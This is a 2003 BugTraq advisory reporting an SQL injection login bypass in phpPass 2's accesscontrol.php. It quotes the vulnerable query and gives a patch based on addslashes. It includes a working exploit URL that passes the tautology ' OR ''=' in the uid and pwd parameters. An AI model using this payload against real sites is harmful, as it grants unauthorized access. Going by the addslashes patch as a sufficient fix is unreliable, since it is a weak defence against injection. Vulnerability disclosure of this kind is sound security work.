BugTraq
phpPass (PHP) Jan 13 2003 10:34AM
Frog Man (leseulfrog hotmail com)

Informations :
°°°°°°°°°°°°°°
Version : 2
Website : http://www.agames-net.com
Problem : SQL Injection

PHP Code/Location :
°°°°°°°°°°°°°°°°°°°
accesscontrol.php :
------------------------------------------------
[...]
session_register("uid");
session_register("pwd");
[...]
$sql = "SELECT * FROM user WHERE
userid = '$uid' AND password = '$pwd'";
$result = mysql_query($sql);
[...]
if (mysql_num_rows($result) == 0) {
session_unregister("uid");
session_unregister("pwd");
?>
<html>
<head>
<title> Access Denied </title>
[...]
exit;
[...]
------------------------------------------------

Exploit :
°°°°°°°°°
http://[target]/protectedpage.php?uid='%20OR%20''='&pwd='%20OR%20''='

Patch :
°°°°°°°
In accesscontrol.php, replace the lines :
-------------------------------------------------
$sql = "SELECT * FROM user WHERE
userid = '$uid' AND password = '$pwd'";
$result = mysql_query($sql);
------------------------------------------------

by :
------------------------------------------------------------------------

$uid=addslashes($uid);
$pwd=addslashes($pwd);
$sql = "SELECT * FROM user WHERE userid = '$uid' AND password = '$pwd'";
$result = mysql_query($sql);
------------------------------------------------------------------------

A patch can be found on http://www.phpsecure.org .

More details :
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In French :
http://www.frog-man.org/tutos/phpPass.txt
translated by Google :
http://translate.google.com/translate?u=http%3A%2F%2Fwww.frog-man.org%2F
tutos%2FphpPass.txt&langpair=fr%7Cen&hl=en&ie=ISO-8859-1&prev=%2Flanguag
e_tools

frog-m@n

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